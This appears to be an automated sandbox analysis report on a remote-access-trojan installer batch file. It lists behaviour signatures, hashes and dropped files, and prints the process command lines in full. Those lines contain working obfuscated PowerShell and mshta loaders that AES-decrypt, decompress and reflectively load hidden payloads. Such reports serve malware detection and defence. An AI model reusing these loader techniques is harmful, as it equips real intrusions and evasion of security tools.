Analysis
-
max time kernel
24s -
max time network
91s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
-
submitted
25-09-2023 08:28
General
-
Target
VanillaRat/Handlers/HandlerInstaller.bat
-
Size
12.4MB
-
MD5
36120c9b85ac8d0886754aea83b5f651
-
SHA1
f37d5eb87609e6312dc30b37f3b9568f788e1d9d
-
SHA256
3087b98c490a4be2e1e8d97a74edbacaab32c4162c49050408e9c86e0d1374eb
-
SHA512
973d80dd9f55c9219c0c1fcb194cb3151b872b2187a83abbcae53f9185a37877253962c116c282019e2309154b0ee0aba4675862f9e4eb4b0084a757ed7a8957
-
SSDEEP
49152:gfNOR3QlUQZ81jHk0IYRuKSGUhYHEPgU9XA1J8yWSUZ89FIJI25U3euQ6o2Mif+6:J
Score
10/10
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Drops file in Windows directory 6 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 13 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 18 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e3d72b6f-aab1-496e-87ff-ce525a5b7ed5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe"HandlerInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VROas($YFEKm){ $EnJnq=[System.Security.Cryptography.Aes]::Create(); $EnJnq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EnJnq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EnJnq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+mgHoM3Dd8LE9FhelB1+E49NCwweh3qyJF1GxhCe+k0='); $EnJnq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wwm30jhzkHC4/5SnlEDZGA=='); $pWYkp=$EnJnq.CreateDecryptor(); $return_var=$pWYkp.TransformFinalBlock($YFEKm, 0, $YFEKm.Length); $pWYkp.Dispose(); $EnJnq.Dispose(); $return_var;}function XcsVC($YFEKm){ $zQqyq=New-Object System.IO.MemoryStream(,$YFEKm); $emglC=New-Object System.IO.MemoryStream; $RGlqr=New-Object System.IO.Compression.GZipStream($zQqyq, [IO.Compression.CompressionMode]::Decompress); $RGlqr.CopyTo($emglC); $RGlqr.Dispose(); $zQqyq.Dispose(); $emglC.Dispose(); $emglC.ToArray();}function dnTmn($YFEKm,$CaEDQ){ $NmIfY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$YFEKm); $bqkrl=$NmIfY.EntryPoint; $bqkrl.Invoke($null, $CaEDQ);}$lpRaC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat').Split([Environment]::NewLine);foreach ($aneut in $lpRaC) { if ($aneut.StartsWith('SEROXEN')) { $zZPSp=$aneut.Substring(7); break; }}$jGZnr=[string[]]$zZPSp.Split('\');$yHwYZ=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[0])));$QcHAi=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[1])));dnTmn $QcHAi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dnTmn $yHwYZ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{20a94a27-6608-49c5-8caa-ef4937358c26}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-MkCCpgMZesGBgQjTHDjR4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-MkCCpgMZesGBgQjTHDjR4312:&#<?=%2⤵
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function UdTTc($fvgoo){ $sihCR=[System.Security.Cryptography.Aes]::Create(); $sihCR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $sihCR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $sihCR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HCyEf1YafduI2gaayTiiJc0BcZzdl+wOYfZmYK/MNnc='); $sihCR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KN9rIUT3LMorVQMyobJ55g=='); $TeypB=$sihCR.('rotpyrceDetaerC'[-1..-15] -join '')(); $dmEot=$TeypB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fvgoo, 0, $fvgoo.Length); $TeypB.Dispose(); $sihCR.Dispose(); $dmEot;}function rqQZg($fvgoo){ $ympdX=New-Object System.IO.MemoryStream(,$fvgoo); $YpWOM=New-Object System.IO.MemoryStream; $fxvtV=New-Object System.IO.Compression.GZipStream($ympdX, [IO.Compression.CompressionMode]::Decompress); $fxvtV.CopyTo($YpWOM); $fxvtV.Dispose(); $ympdX.Dispose(); $YpWOM.Dispose(); $YpWOM.ToArray();}function fbHSv($fvgoo,$amDjr){ $iypoS=[System.Reflection.Assembly]::Load([byte[]]$fvgoo); $mDfQt=$iypoS.EntryPoint; $mDfQt.Invoke($null, $amDjr);}$sihCR1 = New-Object System.Security.Cryptography.AesManaged;$sihCR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$sihCR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$sihCR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HCyEf1YafduI2gaayTiiJc0BcZzdl+wOYfZmYK/MNnc=');$sihCR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KN9rIUT3LMorVQMyobJ55g==');$khIZV = $sihCR1.('rotpyrceDetaerC'[-1..-15] -join '')();$QOKgA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l41V2WxL9jkprJcxS5Nj8A==');$QOKgA = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA, 0, $QOKgA.Length);$QOKgA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA);$gPPoi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aROoNBcsZ/PW5d2DYHVzdO8nR2VzRJCqHmYigLb6Jrs=');$gPPoi = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gPPoi, 0, $gPPoi.Length);$gPPoi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gPPoi);$YyGbR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OkYia47+jaf2xVNWbMpC2Q==');$YyGbR = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YyGbR, 0, $YyGbR.Length);$YyGbR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YyGbR);$NGxnm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UP/EOIJWq+4ghvON19uciyQbICBLdoMJpFC0ksKBSJnw4OjSJ3hNKvrvEz2D1CqWZeOjzkO6q7JNywlpjDo/HsSRUmq3ccngTHm9XJej3zwQT3J68V0tpZUrw5HlEx72QEBCzfoKwyEbutYu6tnr1aPtRABJ4gfBVc7hAGl7iFU1xOqulzEW9VCdQmV3l/XcqcwaWBGT4wqFMxb3ZLGT6dcBux6AJSpiqyO9qz1cMeCPoduh33z6ScFknrT57PjsKVugEp449IOSaJw/Zs5f9EG1eKOHsmSxGt55TMZKWpTlR+9ITlk1NoYWpUkwaocQ3BUDxHEdM58P2Tq0P5vFhBc7sNLjFZEo9FrrcNtCu/8C47g4vYoBrmKKGYmZBkTLyTUUtN/HfYPnelsAIjtdj976Vlk2ugGP1f2Y3nGeegA=');$NGxnm = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NGxnm, 0, $NGxnm.Length);$NGxnm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NGxnm);$zWEEc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('81O15VE8m4lB+MnqiTR1uA==');$zWEEc = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zWEEc, 0, $zWEEc.Length);$zWEEc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zWEEc);$eNHHL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BVmHLrMLSPnDAnkqy9pFoQ==');$eNHHL = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eNHHL, 0, $eNHHL.Length);$eNHHL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eNHHL);$qBjEF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pLtK/cPeeTiGMmymKQ6Fcw==');$qBjEF = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qBjEF, 0, $qBjEF.Length);$qBjEF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qBjEF);$pCyOn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2NYpuHYegPYo5qCfIlZhMQ==');$pCyOn = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCyOn, 0, $pCyOn.Length);$pCyOn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pCyOn);$qGSgp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xFmRHuVf/LPmEPegX+g5Zw==');$qGSgp = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGSgp, 0, $qGSgp.Length);$qGSgp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGSgp);$QOKgA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6P/YK+QQ0JTDdLrribGmsA==');$QOKgA0 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA0, 0, $QOKgA0.Length);$QOKgA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA0);$QOKgA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lIYWfiAlubjLUZJrugkuA==');$QOKgA1 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA1, 0, $QOKgA1.Length);$QOKgA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA1);$QOKgA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('//+9JxvND8cXl6QyLO8bkA==');$QOKgA2 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA2, 0, $QOKgA2.Length);$QOKgA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA2);$QOKgA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0KfLJH3W0jtfi/p3tJXm2Q==');$QOKgA3 = $khIZV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QOKgA3, 0, $QOKgA3.Length);$QOKgA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QOKgA3);$khIZV.Dispose();$sihCR1.Dispose();if (@(get-process -ea silentlycontinue $QOKgA3).count -gt 1) {exit};$wGOvn = [Microsoft.Win32.Registry]::$pCyOn.$qBjEF($QOKgA).$eNHHL($gPPoi);$agzwV=[string[]]$wGOvn.Split('\');$alLGs=rqQZg(UdTTc([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($agzwV[1])));fbHSv $alLGs (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$vPzyo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($agzwV[0]);$sihCR = New-Object System.Security.Cryptography.AesManaged;$sihCR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$sihCR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$sihCR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HCyEf1YafduI2gaayTiiJc0BcZzdl+wOYfZmYK/MNnc=');$sihCR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KN9rIUT3LMorVQMyobJ55g==');$TeypB = $sihCR.('rotpyrceDetaerC'[-1..-15] -join '')();$vPzyo = $TeypB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vPzyo, 0, $vPzyo.Length);$TeypB.Dispose();$sihCR.Dispose();$ympdX = New-Object System.IO.MemoryStream(, $vPzyo);$YpWOM = New-Object System.IO.MemoryStream;$fxvtV = New-Object System.IO.Compression.GZipStream($ympdX, [IO.Compression.CompressionMode]::$QOKgA1);$fxvtV.$qGSgp($YpWOM);$fxvtV.Dispose();$ympdX.Dispose();$YpWOM.Dispose();$vPzyo = $YpWOM.ToArray();$GJmqW = $NGxnm | IEX;$iypoS = $GJmqW::$QOKgA2($vPzyo);$mDfQt = $iypoS.EntryPoint;$mDfQt.$QOKgA0($null, (, [string[]] ($YyGbR)))3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lobpqza.lme.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\$sxr-cmd.exeFilesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
C:\Windows\$sxr-cmd.exeFilesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
C:\Windows\$sxr-mshta.exeFilesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
C:\Windows\$sxr-mshta.exeFilesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
C:\Windows\$sxr-powershell.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Windows\$sxr-powershell.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
memory/656-37-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB
-
memory/656-35-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB
-
memory/2160-25-0x0000022200D80000-0x0000022200E24000-memory.dmpFilesize
656KB
-
memory/2160-18-0x00007FF8F5E40000-0x00007FF8F6901000-memory.dmpFilesize
10.8MB
-
memory/2160-24-0x00007FF900840000-0x00007FF900859000-memory.dmpFilesize
100KB
-
memory/2160-21-0x0000022200320000-0x0000022200D6E000-memory.dmpFilesize
10.3MB
-
memory/2160-26-0x0000022200E30000-0x0000022200E86000-memory.dmpFilesize
344KB
-
memory/2160-27-0x0000022200E90000-0x0000022200EE8000-memory.dmpFilesize
352KB
-
memory/2160-28-0x0000022200EF0000-0x0000022200F12000-memory.dmpFilesize
136KB
-
memory/2160-29-0x00007FF915010000-0x00007FF915205000-memory.dmpFilesize
2.0MB
-
memory/2160-31-0x00000222011D0000-0x00000222011DA000-memory.dmpFilesize
40KB
-
memory/2160-5-0x00007FF8F5E40000-0x00007FF8F6901000-memory.dmpFilesize
10.8MB
-
memory/2160-4-0x000002225ECB0000-0x000002225ECD2000-memory.dmpFilesize
136KB
-
memory/2160-20-0x00007FF913890000-0x00007FF91394E000-memory.dmpFilesize
760KB
-
memory/2160-19-0x00007FF915010000-0x00007FF915205000-memory.dmpFilesize
2.0MB
-
memory/2160-23-0x000002225ED00000-0x000002225ED10000-memory.dmpFilesize
64KB
-
memory/2160-17-0x0000022200000000-0x0000022200024000-memory.dmpFilesize
144KB
-
memory/2160-16-0x000002225ED00000-0x000002225ED10000-memory.dmpFilesize
64KB
-
memory/2160-15-0x000002225ED00000-0x000002225ED10000-memory.dmpFilesize
64KB
-
memory/4336-34-0x0000000140000000-0x0000000140004000-memory.dmpFilesize
16KB
-
memory/4336-32-0x0000000140000000-0x0000000140004000-memory.dmpFilesize
16KB